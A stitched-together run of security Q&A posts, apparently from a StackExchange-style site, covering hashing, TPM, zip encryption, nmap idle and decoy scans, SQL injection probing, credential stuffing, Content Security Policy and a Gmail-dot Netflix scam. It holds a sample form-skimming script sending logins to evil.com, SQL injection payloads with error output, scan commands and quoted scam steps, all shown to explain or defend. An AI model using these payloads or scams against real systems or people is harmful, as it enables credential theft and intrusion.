Same content different hash? So I made a txt file using notepad and made a hash of it:

SHA1: 701B6FAD6530C61528F9C11F024A9434B3C42D65

then I edited that file and took the hash again:

SHA1: 97A1D0B1A8BBEE639BADF4A54CEC1C83284ED1CF

then I reverted a change:

SHA1: 701B6FAD6530C61528F9C11F024A9434B3C42D65

Note that the hash of original and reverted are the same, which makes sense because the content is the same.

Now I decided to make a hash of a pdf file:

SHA1: CB498FAEF0CD2886A12A4128E168CD30CF97B537

Then I appended a character to the last line and saved the file

SHA1: 15DFC97EAD337537931BAD381A8EB7DBC7E7C050

Then I reverted a change using Ctrl+Z Combo and saved the file

SHA1: 0D5A19A1DAEBC47F75E759C279B4D1849BD5A9E8

Note that the hash of original and reverted are NOT the same. I was wondering what exactly changed in the content that changed the hash.

Here are original and reverted are side by side, also two hashes:

The hash is done over binary data, not visible characters.

Likely there were invisible changes, like adding a missing end-of-line character or replacing all UNIX style end-of-line \n with Windows style end-of-line \r\n. Given that you've viewed binary data in a text editor it might also be that the text editor just removed or sanitized characters which made no sense as text (like invalid utf-8 sequences).

To see what exactly happened look for example at the file size before and after (did it change?) or compare the binary data for example using a hexdump of the versions.


I know it's not the most straightforward, but:

hping3 -q --scan 1-1000 -S 192.168.0.1 | grep -v 'Not res'


With TPM how are the initial PCR values seeded with 'good' values? I am trying to learn more about trusted boot / trusted platform modules and I understand about platform configuration values being a measurement of a 'good' configuration signed by a key locked from access within the TPM chip.

What I don't understand is how these initial 'good' states are set within the PCR values. Is it a case of a signing authority allows the bios vendor or bootloader / kernel maintainer to sign off a release and its 'good' measurements or is it something recorded during first boot of a machine?

Also how are these PCRs populated and recognised as 'good' if someone upgrades kernel, is it again a signing authority, or does the PCRs need to be reset and good configurations set again?

Apologies if there are holes in my understandings here, trying to get a grip on a fairly complex topic.

What you asked is the PCR values from so-called "golden measurement" or "baseline measurement", which can be conducted by the platform manufacturer such as DELL or platform administrator like your department IT. Those values are saved and used for verification by TPM. This is part of the "provisioning process".

Please check the book "TCG TPM v2.0 Provisioning Guidance" for section 10 and section 11.

When you update your system, the PCR values will change. That means your updating package should be able to automatically bring your PCR the new values in the package or the platform administrator has to carry out another golden measurement. In some cases, you may have to temporarily disable some features that depend on the PCR values before updating your system - otherwise, the system may stop working when seeing a different measurement.

For example, here is a list of BIOS revision history who has the PCR0 values given for every update, because PCR0 has the measurement value of BIOS.


iLivid infection/ iLivid behaviour analysis Although lots of surveys and reports have been done on iLivid by lots of malware analyzers, I decided to inspect iLivid independent of previous research.

I have read lots of reports about iLivid but when I proceed to survey I download iLivid from iLivid.com its official domain.  So, I have the following questions from my observation:

1)I did not observe any malicious behavior from what I have read from reports e.g: browser hijacking , changing DNS setting , changing homepage , installing additional add-ons,.... and mainly I can say I didn't see any malicious behavior. So, I guessed maybe there is a difference between the version of iLivid from its official domain and the version which users get infected through tricky invented links. Maybe the former is safe and the latter is the malicious one. Is this possible and a reasonable guess?

main question: if there are safe and unsafe versions of iLivid, how can I infect my system with iLivid???!!

2) Is it natural for malware to behave differently depending on the context?  Because when I observed report, a wide variety of bad job were reported.

3) iLivid introduces itself as a product of Banadoo media inc. There are some other apps that introduce themselves as product of  this company.  I have not found anything about this company.  All apps from this company are ill-reputed and suspicious in the reports. I think it is just nominal company and do you know something about this company?

4) When I run Babylon and IDM.exe while iLivid is running iLivid two unrelated .dll module one from Babylon which is Captlib.dll and another from IDM.exe which is dmmkb.dll. I don't know how to analyse this behaviour. Please help if you can!

Several sites classify iLivid as a PUP rather than outright malware. The definition in part reads:

  Such software may use an implementation that can compromise privacy or weaken the computer's security. Companies often bundle a wanted program download with a wrapper application and may offer to install an unwanted application, and in some cases without providing a clear opt-out method.

Your statement of "I can say I didn't see any malicious behavior." seems unusual - I found a number of reports from late 2016 that indicates a homepage redirect and toolbar install were to be expected.

The reports also suggest a keylogger has been known to be dropped with iLivid, and your mentioning finding Captlib.dll would, prima facies, seem suggestive this happened on your system - it may be at the time you installed, iLivid was focused on stealth (although given their ad-related income model, that seems a little unusual).

If I was you, I think I would consider running a packet capture looking for automated activity, and notably, for C&C/exfiltration activity.
You may find it easiest to do a first run with something like Cuckoo Sandbox, as a means of testing whether you can replicate the reports that got you curious in the first place.


Add certificate authority to one browser only For testing purposes, I'd like to add a "CA" to the list of trusted-CA's of one browser - and use it only for testing. I want to make sure that it won't get added to the computer's trusted CA list.

So - Will adding it to the browser's trusted-CA's really be just that? Or will it be automatically added to the computer's trusted-CA's list?

If you want to do that install Firefox. Firefox comes with its own trusted CA store and what you add there will only be available to Firefox.


What encryption method is used by the zip program in macOS? In order to send a file securely I am going to encrypt/password protect a zip file. (Why I am doing this). I am using macOS Sierra 10.12.6 and through my research I have concluded that encrypting a zip file is done the following way on macOS,

zip -e [newzip].zip [myFile].[extension]

This works perfectly, but I would like to make sure that the algorithm/method used to encrypt the zip is secure.  Unfortunately, I can't find any documentation on what algorithm/method the zip command uses to encrypt, whether its AES-256bit, AES-128bit, or something completely different.

The man page of zip is no help:

-e
       --encrypt
              Encrypt the contents of the zip archive using a  password  which
              is  entered  on  the terminal in response to a prompt (this will
              not be echoed; if standard error is not a  tty,  zip  will  exit
              with  an  error).   The  password prompt is repeated to save the
              user from typing errors.

Please include in your answer the algorithm that is used, a possible source for this information, and if it is not AES-256bit/AES-128bit, then how secure the algorithm/method is.

It's using the original PKZIP 2.0 encryption (variously referred to as "traditional" or "legacy" encryption), described in section 6 of the .ZIP file format specification. It's based on using CRC32 to mix the password, a (hopefully) random seed, and the compressed file. It is not considered secure; at the very least, it has serious vulnerabilities to known-plaintext attacks (see this crypto.se answer for a summary).
Update: Michael Stay developed a better attack in order to recover some Bitcoin private keys for a client. Details in Michael's blog post and DEF CON talk, and coverage at Wired and Hacker News.
This is based on: looking at Apple's source code for ZIP. The README.CR says:

The encryption code is a direct transcription of the algorithm from
Roger Schlafly, described by Phil Katz in the file appnote.txt.  This
file is distributed with the PKZIP program (even in the version
without encryption capabilities).  Note that the encryption will
probably resist attacks by amateurs if the password is well chosen and
long enough (at  least 8 characters) but it will probably not resist
attacks by experts. Paul Kocher has made available information
concerning a known-plaintext attack for the PKWARE encryption scheme;
see http://www.cryptography.com/ for details.)  Short passwords
consisting of lowercase letters only can be recovered in a few hours
on any workstation.  But for casual cryptography designed to keep your
mother from reading your mail, it's OK.

Note that the file says was last updated in 2008, so when it talks about password recovery "in a few hours on any workstation", it's talking about decade-old hardware. I'm slightly confused about what version of Zip Apple is actually using. README.CR seems to indicate it's v2.31, but WHATSNEW lists new features in Zip v3.0 beta (and says AES is planned for v3.1). In any case, it's pretty old.
As further support, the file crypto.c (while a bit hard to follow) is clearly using CRC32 for the encrypt/decrypt processes, and the only mentions of AES are in several files that say it's planned for a later version.
Oh, and I also tried creating an encrypted file with it, and then looked at a hex dump. It doesn't contain 0x0017, which is the header ID for a "strong encryption header". It does have an extra 12 bytes of seed data (part of the "legacy" format) along with each file. So that matches the source code and README.
Summary: don't use it. I'd look for third-party Zip utilities that support more modern encryption, but I'm not familiar enough with any of them to make recommendations.


For failed logins, what information should be given to users? When a user fails to successfully login, what information should be given back to them?
Normally, we post back "Account not found" or "Incorrect password" or "Incorrect Location" (for location restrictions). But some articles suggest it should be akin to  "Login Failed. Please try again." without elucidating why it failed. Wouldn't this seem infuriating as a user?

Don’t tell me what I did wrong; Even if it seems like good user
experience, it’s bad for security. I shouldn’t be able to send in a
bad username or bad password and have that system tell me which
information is wrong (i.e., Account not found or Password incorrect).

At what point do you compromise user experience for security?

There is no absolute security. When we are talking about security, it is important to understand what are the threats, what are the risks and what security is enough to mitigate these risks.
User permissions are bound to the user name (login name, account name). So user name is not a secret within a web site. Where as user password remains unknown even for the web site itself (assuming web site is keeping password hash only). That's why the strength of the resistance of the web site to brute-forcing depends not on the fact if user name is known to the attacker, but on the strength of the password only.
What is bad in displaying too many details in case login failed? If you display message "incorrect password", you implicitly confirm that the user name is valid. In case the web site provides online banking, the information that particular user name is registered at this web site can be used by attacker for frauds and attacks. In case the web site represents some political organization, disclosing that particular user name is registered at this web site can lead to reputational problems for particular person.
So should you always provide a very generic message? No. It depends on the context. For instance, if the web site provides some services to the members of the local bowling club and all members are known to everyone in the town, then disclosing that some user name is known (or is unknown) to the web site would not give any new information and thus will not cause any harm to the users. In this case it can make sense to display more detailed message thus providing better user experience.
In you particular case only you (or your users, your customers) can decide what is more important - security or user experience.


What would be a good way to guarantee security of theft and loss of sensitive data in a shared rack? Two of my servers are in a shared rack, we secure them by adding frontcovers to the machines.

The DC is always recording with a camera when one of the shared racks is opened and they write down what hardware goes in and out.

Are there any other factors we should take care of?

How have you assessed risk? I have seen datacentres ranging from

  just a locked server room

to

  stand alone unit with weight measuring man traps, dual keys, biometrics, time locks and remote video, as well as main and backup generators, fire suppression kit, water and air cooling

The first step is to calculate the value of your assets. How dependent is your business on the kit in that rack?

If losing it would destroy your business you need to think about mirroring it in an alternate location.

If the biggest risk to you is assessed to be from someone else in the datacentre then you do need to look at the physical security of the front and back of your servers, and check to see just what happens with those cameras. Does the data centre have a procedure to monitor the feed from the camera so they can check before letting individuals out?


Working directly with $ _POST is it safe? I work with php for a few weeks and apologize if the question is so banal and silly. But looking for scrypt php here and know that some prefer to check the values received from a form directly with $_POST while others first move the content of $_POST into the variables and then make the appropriate checks using the variables. From the point of view of security there are differences or does not change anything?

This is an example of scrypt working directly with $ _POST :

if(isset($_POST['test'])) {
  if(strlen($_POST['test'])>=200) {
    echo "ok"
  }
  else {
    echo "no!"
  }
}

And this is an example of script working with variables:

if(isset($_POST['test'])) {
  $test = $_POST['test'];
  if(strlen($test)>=200) {
    echo "ok"
  }
  else {
    echo "no!"
  }
}

Your examples fail to illustrate the problem (and also don't follow any standard PHP style I am aware of). You are unlikely to see the problem until you get to over about 100 lines of code.

(I don't get your reference to scrypt).

There are 2 issues this question addresses - that of scope, and that of modifying data. $_POST is a superglobal so the data is always in scope without being explicitly declared in a block. This has certain advantages, e.g. you always know where to find it. But relying on the data you want to process being present in $_POST when writing a method or function means you can't re-use that method for other data.

As long as you ensure you don't change the original value, you can always refer back to the canonical version. e.g. if an error occurs in the processing and you want to log the inputs as well as, say, a stack trace.

The code below would be very bad programming:

foreach ($_POST as $name=>$value) {
   $_POST['name']=mysqli_real_escape_string($connection, $value);
}

If in doubt, the golden rule is

validate input
transform output

$_POST, indeed all the superglobals except $_SESSION, are input.

Following conventions and applying good programming practices makes code more manageable, easier to review and bug-resistant therefore less likely to have unexpected side effects (i.e. vulnerabilities).

If you had asked this on, say, Stackoverflow then I expect some wag would have pointed out that dereferencing a superglobal is slower than a local variable. In the same way that spitting in the ocean raises the water level. However even though I think this is a question about Security, I suspect you might get better feedback on a different forum.


How does password_hash/password_verify in php work? Why does this example from the PHP manual give different results every time it runs?

echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);

And then, password_verify() knows that ALL those hash match "rasmuslerdorf"! It is like magic to me even the doc stated clearly:

  Note that password_hash() returns the algorithm, cost and salt as part
  of the returned hash. Therefore, all information that's needed to
  verify the hash is included in it. This allows the verify function to
  verify the hash without needing separate storage for the salt or
  algorithm information.

  This function is safe against timing attacks.

echo password_verify ( 'rasmuslerdorf' , '$2y$10$EMawXU7qNS4GzU2Do8bByeb7sSQZxecvmZ6mBrToxsOaY7RMAIGua' );  //=>true
echo password_verify ( 'rasmuslerdorf' , '$2y$10$0vMA2k7LxTBstI/J7clkkuZZ/XtuS1fklVuoM6sl4Fc/aj1avQa5u' ); //=>true
echo password_verify ( 'rasmuslerdorf' , '$2y$10$iuE2EzHMNONAWFKh/4Wyl.dcBxgFaNzAh32va0/gyE4ScqnNr/Uc.' ); //=>true

What is going on? How does password_verify() know some crazy string match 'rasmuslerdorf' but hackers don't?

The password_hash function, internally, carries out these steps:

It picks a fresh random salt each time you call it.
It applies a costly hash function that takes as input the random salt, the password, and other algorithm parameters (e.g., cost factors).
It combines the algorithm parameters, random salt and hash output into an output string that can be parsed to recover them individually.

The random choice in #1 is the reason why it produces different output each time even though you supply the same input.  The formatted output from step #3 is what allows password_verify to know the random salt that was chosen by password_hash.


Finding out if a series of job emails from the same person are a scam or a way of tracking/phishing? I'm Indian, and have received a third job email from a Canadian "Co-founder and COO". I'm not even actively job searching.

He hasn't mentioned how he got my mail id or why I'm the right fit
for the job.
Google's "secret sauce" shows the yellow icon that probably indicates
the email is not spam.
The emails have images which GMail has hidden for safety reasons, and
I was careful not to click on the "Display images below" link.
His email signature contains a "We're hiring" link that leads to:
https://hiscompany-dot-yamm-track.appspot.com/Redirect?ukey=1wQLKWIOnoiYyfDopetkntTdf7QKeYeABTwjUQf1vzCU-551884202&key=YAMMID-12656006&link=https%3A%2F%2Fhiscompany.io%2Fjoin-hiscompany%2F. I didn't click it.

I ignored the first two emails because they almost exclusively speak of immigration, permanent residency and Canadian citizenship.

Questions:

Is there any danger in just replying to find out if the offer is genuine? It doesn't follow the typical scam email pattern, but could just be an improvisation. This degree of persistence could also point to jobs that exploit people in exchange for Canadian citizenship. Perhaps even another University of Farmington.
In case it's a scam, I believe the typical modus operandi would be to send a malicious PDF. I wonder if simply replying to him or clicking any of the links in his email would give him enough of info about my computer or phone to compromise it?

For the reference of anyone who receives similar emails:

Email 1: Feb 10, 2019
Subject: A Unique Machine Learning Opportunity in Canada

  Hi MyName,

  My name is HisName and I’m the Head of Operations at HisCompany.  We
  are a Canadian company currently hiring top-tier Software Engineers,
  Data Engineers, and Data Scientists.  Our employees are based in
  Canada, and they are paired with U.S.-based start-ups on an exclusive,
  long-term basis. By doing this, we are combining the wonderful quality
  of life and immigration system that Canada offers with the technical
  opportunities of top Silicon Valley start-ups.

  Beyond offering high-quality jobs, HisCompany also offers full-service
  immigration.  We have partnered with the Canadian government to get
  successful candidates into Canada in as little as four weeks, and they
  each have a clear path to permanent residency status or Canadian
  citizenship.

  If any of this sounds interesting, it would be great to hear back from
  you.

  Thanks MyName,

  -HisName

  HisName Surname Co-Founder & COO HisCompany (We're Hiring) Canada:
  403.xxx.xxxx USA:  650.xxx.xxxx

Email 2: Feb 14, 2019
Subject: A Unique Machine Learning Opportunity in Canada

  Hi MyName,

  I just wanted to follow up on the email I sent a few days ago about
  Machine Learning opportunities we have at HisCompany.  I'm not sure if
  you've ever considered relocation to Canada, but it is easier than
  most people are aware.  Our immigration team can usually get an
  engineer (and their family) immigration visas in as little as four
  weeks.

  I'd be really excited to tell you more and answer any questions you
  might have, so if you're interested please let me know with a quick
  reply.

  Thanks again MyName,

  -HisName

  HisName Surname Co-Founder & COO HisCompany (We're Hiring) Canada:
  403.xxx.xxxx USA:  650.xxx.xxxx

Email 3: Today
Subject: Reconnecting with you MyName

  Hi MyName,

  Just in case my last message ended up in your spam folder, I wanted to
  reach out again.  I'd love to take some time to tell you about some of
  the great Machine Learning opportunities for which we are hiring.

  I'd love to have a quick chat to talk about this in more detail.
  Would you be available in the next week to have a quick call?

  Here is a link to our website if you want more information -
  https://www.HisCompany.io/

  Until next time MyName,

  -HisName

  HisName Surname   Co-Founder & COO   HisCompany (We're Hiring)
  Canada:  403.xxx.xxxx   USA:  650.xxx.xxxx

This looks like a scam to me.

The Link to "their recruiting-site" is really a red flag for me. Not explaining the reason, why they reach out exactly to you and how they got your contact is also not professional at all.

One possible scam scheme could work like this:

Send E-Mails.
Send Follow-Up-Emails until you believe it's legit.
Make some promises about a great job and a permanent residency in Canada.
Request some money for the paperwork (visa, work permit, etc.)
Find more reasons, why they need some more money or information
repeat #4 and #5 until you give up

However there might be numerous other schemes, that could allow him to make money, gain information or your trust.

Edit: If you were to click the links or load the images in the mail, he'd probably able to identify your OS, Browser, Browser-Plugins, rough location (based on IP), validate your e-mail address. This can, in rare cases, be sufficient to successfully compromise your system, depending on patches, etc.


How does nmap do a zombie and decoy scan? We're learning nmap in my ethical hacking class. We got showed how we can use nmap to perform a zombie scan:

nmap -PN -sI zombieIP targetIP

and decoy scan:

nmap -p 135 -D decoyIP targetIP

I understand what they do, but the lecturer didn't go into details on how it works. I'm curious to understand, how exactly can nmap tell zombieIP (or decoyIP) to perform a scan on targetIP?

The basic idea of a Zombie or Idle scan is to send source-spoofed packets to the target, then observe some state change in the TCP/IP stack of the machine with the spoofed source address. The original method, discovered in 1998, used the IP ID field to observe the state.

Nmap's -sI Idle Scan is a good implementation that is able to query the Zombie/Idle host to determine its algorithm for incrementing the IP ID field; in some cases, it increments by 2 or by 256. It is up to the user to choose an appropriate Zombie host. By performing a scan with the -O (OS fingerprinting) and -v (verbose) flags, the user can find machines which have an incremental IP ID sequence, then target them with Nping or another packet crafting tool to identify those that are not experiencing a lot of traffic. The "Idle" part of the scan means that the Zombie must be mostly idle (not communicating with other hosts) in order for the scan to work. Finally, the scan is conducted using a command like you posted: nmap -Pn -sI zombieIP targetIP

The technique goes something like this:

Nmap probes the Zombie to determine its IP ID sequence class and the current value it is using.
Nmap then sends TCP SYN packets to various ports on the target, but spoofs the source address to be that of the Zombie.
During the scan, Nmap continually probes the Zombie to find out how many packets it has sent. Expecting one packet per probe, if it finds that two packets have been sent, it can assume that the other one was a RST packet in response to the target's SYN/ACK, indicating an open port.

In version 6.45, Nmap added the ability to do Idle scans over IPv6. The technique is similar, but uses the IPv6 Fragmentation ID field instead. The technique was discovered by Mathias Morbitzer, and will be available in the next release of Nmap.

Decoy scans are a much-less-interesting technique. All packets originate from your scanning machine, but some have spoofed source addresses. Any replies to these spoofed sources will not arrive at your scanner, so they cannot be used to determine port states. This technique only serves to confuse port scan detection, and does not offer any information beyond a regular scan.


Gmail sign-in with 2 step verification secure enough for money-generating YouTube channel My goal is to find out if the sign-in process of a personal Gmail account with 2-step verification turned on, is enough from a security point of view, to serve as the sign-in process for a YouTube channel, which is slowly becoming a source of income. (Subscriber number is less than 3k.)

I have read through a resource of approximately 40 - 50 questions and their subsequent answers and comments on this page, but I believe this very question has not yet been asked or answered in this or another context. Other places online also haven't been fruitful for this question.

Depending on what you mean by "secure enough" 2-Step Verification can help keep bad guys out of your account, even if they have your password.

If you are super concerned about your account,  you may also choose to implement the security key based authentication which can be inserted into your computer’s USB port to authorize logins into your account. This is similar to a code being sent to or generated by your mobile phone, however with physical security keys, you will need to insert it into your device's USB.


Does the HTML password field include any protection against XHR/AJAX exfiltration? In HTML when we describe a certain field as a password field is it somehow secured against sending out the data via XHR/AJAX/similar technologies?

This is relevant in case we have to deal with script injection and similar attacks.

According to this question the protection is done on the client-side and only protects against physical viewing of the password, is that correct? It's hard to tell from the lack of information and it is only a blind assumption.

P.S This question has nothing to do with locally stored passwords in the browser.

Using type="password" in HTML only prevents shoulder-surfing by obscuring the typed characters on the screen.  The actual password is available to any code that can access the document object model, and, in the absence of a TLS connection, is sent to the server in the clear.

Although not directly related to the question, I have to add that "client-side encryption" is useless.  The "encrypted" value is available through the DOM, and as far as the server is concerned, that is the password.


sql injection, count() as i'm trying to improve my skills and understanding of sql injection and defence from it.

the query takes two forms depending on what i'm trying to pass:

1)

    SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
Array
(
    [code] => 1222
    [message] => The used SELECT statements have a different number of columns
    [query] => SELECT * FROM cms_news WHERE node_id=45 AND topic_id = 18 AND active='1'  AND title LIKE '%' union select 1 # %' ORDER BY sort DESC, dateCreated DESC LIMIT 0,10
    [context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
)

in the case i'm trying to pass ' union select 1 #

2)

SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197
Array
(
    [code] => 1222
    [message] => The used SELECT statements have a different number of columns
    [query] => SELECT COUNT(id) as cnews FROM cms_news WHERE node_id = 45  AND topic_id=18 AND active='1' AND dateCreated<=1475703392
                  AND title LIKE '%' union select 1,2 #%'
                  LIMIT 0,1
    [context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197

)

if i'm trying to pass something like this: ' union select 1,2 #

I simpely don't understand why it gives me 2 different queries for different search tags. And how is it possible in this way to find right number of columns?

If you see the first line in your examples you see that the line numbers are different. The code is first counting how many news items are creating after a set date, then getting the actual data. So it seems like the site is protected against this particular attack by using inefficient queries, since the two queries are returning different number of columns


Is it common to steal plain text passwords and use them to log in to other websites? Let's say there is a low quality website,myfirstblogwebsite.com, that stores user passwords in plain text. Someone could get hold of those passwords and try them out on websites like Gmail, Facebook, Amazon, banking websites, etc. Literally every person I know reuses their passwords so some will surely work.

Is this scheme common?
Is there a name for it?
What if the website is built by hackers specifically to collect users passwords for this purpose?

I'm paranoid about this every time I register on any lesser known website.

It is known as credential stuffing, and it is becoming increasingly common due to the number and size of data breaches in recent years.

You are right to be concerned about password reuse. That, along with high entropy passwords/passphrases, are two very good reasons to start using a password manager.


Prevent javascript cross-origin write Let's assume an attacker manages to inject this script in a login page:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);
}

Is it possible to prevent the request ?
Same Origin Policy doesn't seem to support such restriction.

Maybe a whitelist similar to the one from Content Security Policy ?

The Content-Security-Policy connect-src directive is what you are after. This directive restricts what hosts the fetch method can send requests to.

Here is a minimal proof of concept:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

The code above throws the following warning:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.


Is it possible to exploit preg_match similar to preg_replace PHP? I'm currently working on a website and want to prevent characters being inputted, i am using following code
if (!preg_match("/^[a-zA-Z0-9_!,()& -\/]*$/"

is it possible to exploit this and if so how? would like to know ways to prevent too please
thank

No, match does not have an option to eval the capture group. However, depending on where that data is going your filtering is loose enough to allow exploitation of several bug classes in case you were using it as input validation.


Why doesn't the client send data before server's response in TLS session resumption? I'm referring to the Figure here.

Since the client already knows the session key and only the authenticated server can decrypt the session ticket, why can't the client start sending encrypted application data immediately after Client Hello, without waiting for server's Finished response?

With Session Identifiers

There's no guarantee that the server remembers the session identifier. It may have fallen out of cache, or another server may be handling the request if SSL isn't terminated at the load balancer.

The client needs to know the server can resume the session before sending any data, because otherwise a the full handshake process will need to be repeated.

With Session Tickets

Even with Session Tickets there is no guarantee that the server will be able to resume the session. The session key may have changed, or the request may hit another server with a different, misconfigured session key.

Therefore, the client needs to wait for the FINISHED message before proceeding.


Encryption and HMAC with the same password I need to send authenticated ciphered messages by using a single password. Reusing the same (derived) key for the block cipher and the HMAC is not a good practice, I know.

My initial idea is to derive two different keys from the password in order to apply a encrypt-then-MAC scheme:

Key1 = PBKDF2(passwd, SALT1, ITERATIONS1)

Key2 = PBKDF2(passwd, SALT2, ITERATIONS2)

Let M be the plaintext, the message sent is:

AES-CTRKey1(M) || HMAC-SHA256Key2(AES-CTRKey1(M))

SALT1, SALT2, ITERATIONS1, ITERATIONS2, and the IV (counter) are also attached.

Do you find any vulnerability in this scheme?

It looks good to me, but I’d like to know your opinion.

I know that AES in CCM mode (counter with CBC-MAC) is an alternative.

Here are some weaknesses (the first one is the most serious):

If you do not include the encryption IV in the input to HMAC, then attackers could modify the IV and induce a corresponding change in the message without being detected. Similarly, the attacker could modify SALT1 or ITERATIONS1; the HMAC would still match, but you would get junk upon decryption. For encrypt-then-MAC, you MUST compute the MAC over everything that contributes to the decryption. In your description, the HMAC input should be an encoding of a structure containing the encrypted data itself, but also the IV, SALT1, ITERATIONS1, and any symbolic identifier for the used algorithms (in case you want to make some provisions for algorithm agility).
PBKDF2 is a password hashing function. It is made slow with a lot of iterations. Since slowness impacts attacker and defender alike, you cannot set the iteration count arbitrarily high. In your description, the defender must use two PBKDF2 invocations in normal usage, thus paying for both; whereas the attacker can run his dictionary attack on either. So the cost for the defender is ITERATIONS1+ITERATIONS2, whereas the cost for the attacker is only the smaller of the two. This is an advantage to the attacker.
PBKDF2 is not the best in class; it can be executed very efficiently on a GPU. Bcrypt would be better (see this answer).
You are relying on PBKDF2 behaving like a sort of "random oracle" with regards to the salt value. It so happens that in the case of PBKDF2, this is plausible (PBKDF2 is a chain of nested HMAC, starting with the salt). However, this is not a much studied property and you cannot count on it for just any password-based key derivation scheme. It would be safer to use cryptographic primitives the way they were intended to, because security comes from scrutiny, and exotic usage of algorithm has not, by definition, been extensively reviewed by cryptographers.

A better scheme would run one password hashing function (say, bcrypt), with one salt and one iteration count; and it would then expand the result with a Key Derivation Function (a fast one, e.g. HKDF) into a sequence of bytes that you would split into an encryption key, and a MAC key. This is, incidentally, how things are done in SSL. If you are in a hurry and don't want to implement an extra KDF, you can use in many cases a simple hash: compute SHA-256 on the bcrypt output, yielding 256 bits; the first 128 bits are for the encryption, the other half for the MAC.

In all generality, it is preferable to use authenticated encryption. CCM is an early attempt at an AE mode; better choices are EAX and GCM. The latter is fast becoming a standard for such things, and has been blessed by NIST. It is supports in SSL/TLS (since TLS-1.2) and is available in some widespread libraries (e.g. OpenSSL).


Why would someone open a Netflix account using my Gmail address? This is something that happened to me a few months ago.  I don't know if it is a hack attempt, although I can't think of any way that there could be any danger or any personal information gained.

I don't have a Netflix account and never have done.  I have a Gmail address which I have never used for public communication.  Suddenly I started getting email to this Gmail address from Netflix - not a "Welcome to Netflix" email or one requesting address verification, but what looked like a monthly promo for an existing account.  This was addressed to someone with a different real name, with that name not similar in any way to the Gmail name.

After a few of these messages I decided to investigate by going to Netflix and trying to log in with that email address.  Using the "forgotten password" option I was able to get a password reset email, change the password and log in.  The account appeared to be from Brazil, with some watch history but no other personal details stored and no payment information.

Soon the emails from Netflix started to ask me to update payment information.  I didn't, of course, and then they changed to "your account will be suspended" and then "your account has been suspended".  The "come back to Netflix" emails are still coming in occasionally.

I don't see how this could possibly be a phishing attempt - I carefully checked that I was on the real Netflix site, used a throwaway password not used on any other sites, and did not enter any of my personal information.  I also checked the headers of the emails carefully and they were sent by Netflix.  So is this just a mistake on somebody's part, mistyping an email address (although it's surprising that Netflix accepted it with no verification), or something more sinister?

I think it's likely that someone is trying to trick you into paying for Netflix for them.  From: https://jameshfisher.com/2018/04/07/the-dots-do-matter-how-to-scam-a-gmail-user/:

  More generally, the phishing scam here is:

  Hammer the Netflix signup form until you find a gmail.com address which is “already registered”. Let’s say you find the victim jameshfisher.
  Create a Netflix account with address james.hfisher.
  Sign up for free trial with a throwaway card number.
  After Netflix applies the “active card check”, cancel the card.
  Wait for Netflix to bill the cancelled card. Then Netflix emails james.hfisher asking for a valid card.
  Hope Jim reads the email to james.hfisher, assumes it’s for his Netflix account backed by jameshfisher, then enters his card **** 1234.
  Change the email for the Netflix account to eve@gmail.com, kicking Jim’s access to this account.
  Use Netflix free forever with Jim’s card **** 1234!

(Note that the above steps don't include any "password reset" step for Jim to access the account; that's because the email from Netflix includes authenticated links that won't ask for it.  The attacker wants the victim to click on the email links instead of visiting Netflix manually, this is what enables "Eve" to log back in to the account in step 7.  Or, since Netflix emails authenticated links, possibly "Eve" already has one.)

The above situation is partially caused by Netflix (understandably) not recognizing Gmail's "dots don't matter" feature where email sent to foo.bar@example.com and to foobar@example.com end up in the same account.  That doesn't really matter in your case (given that if this is how you're trying to be scammed, step 1 was skipped entirely), however.

A bigger problem is that Netflix apparently still allows people to register email addresses to accounts without verification.


Protect password from apache user by making file executable-only I (will) have a binary executable file. It's only permission is user-execute. It cannot be read by user, group, or world. The owner of the file is the Apache user. I don't want the apache user to be able to read the file, but I do want the apache user (via a PHP script) to be able to execute the file.
The binary executable file contains a password that is used to decrypt an SSH private key file, as I need the public key to hash the request body & compare against a hashed signature my server is receiving. The executable binary file will receive the request body & hashed signature, do its stuff, and simply return "yes" or "no" to indicate if the request is valid.
I know my executable binary file could still be accessed by root or sudo. Preventing that would be interesting, but is beyond the scope of my question.
Would this be an effective way to protect the password (which is in the binary file that can ONLY be executed) against PHP scripts running under the apache user?
Note: I would like to open-source this setup so want it to be useable on a variety of linux servers. I'm personally on a shared-server so can't really configure apache or the system, and that would be my target audience.

You cannot prevent whoever must execute the binary from reading the binary into memory, since this is a prerequisite of execution.
You can have the binary execute from a different user, and communicate with Apache via sockets. Then Apache would be unable to access the process' memory space.
If I understood the situation, your Apache process will receive a request body plus a signature, and must verify that the body has not been tampered with. And you are doing this in PHP.
If this is so, why can't you use PHP's own OpenSSL functions?
The client will do the equivalent of:
$hash = sha512($body);
$sign = sign_with_private_key($hash);
send($body . $sign);

the server can now do (note that it will do an unnecessary sha1 hashing inside verify):
list($body, $sign) = receive();
$hash = sha512($body);
$okay = openssl_verify ($hash, $sign, $pub_key_id);

On the server, only the public key exists. Whatever access you have on the server will never be able to successfully forge a valid signature for an arbitrary body.


Applying file deltas to an encrypted file I am developing software that will be used for data backup.

The server will run on Linux. Security in transportation is not an issue (HTTPS or SSH), but the data must be stored encrypted on the server.

The data is not tied to a single computer, so multiple computers should be able to access the same data, if given a key (shared key is acceptable).

The customer should be assured that the data cannot be viewed on the server, either by a curious employee or a hacker.  This means that the server should not store the key used to decipher the encryption, but could use it in a transaction if needed.

Being a file server, the network will be saturated, so sending deltas is preferred over sending entire files. The files will also be managed (on the server) by a version control system; whereas the client may or may not have version control. Space is a consideration.

This is what I've come up with:

Each user has his/her own mount point
Each mount point will be encrypted
Files will be decrypted, have the delta applied, then re-encrypted

This sounds a bit inefficient, so I've come here for guidance.

Can file deltas be applied to an encrypted file?

The most important requirements are:

Data integrity (updates should never break a file)
Minimize network/storage overhead (conserving CPU/ram would be nice, but not necessary)
Must be able to be version controlled

Not yet. You are basically describing homomorphic encryption.

Basically you have a file f that you encrypt with function E() notated as E(f).

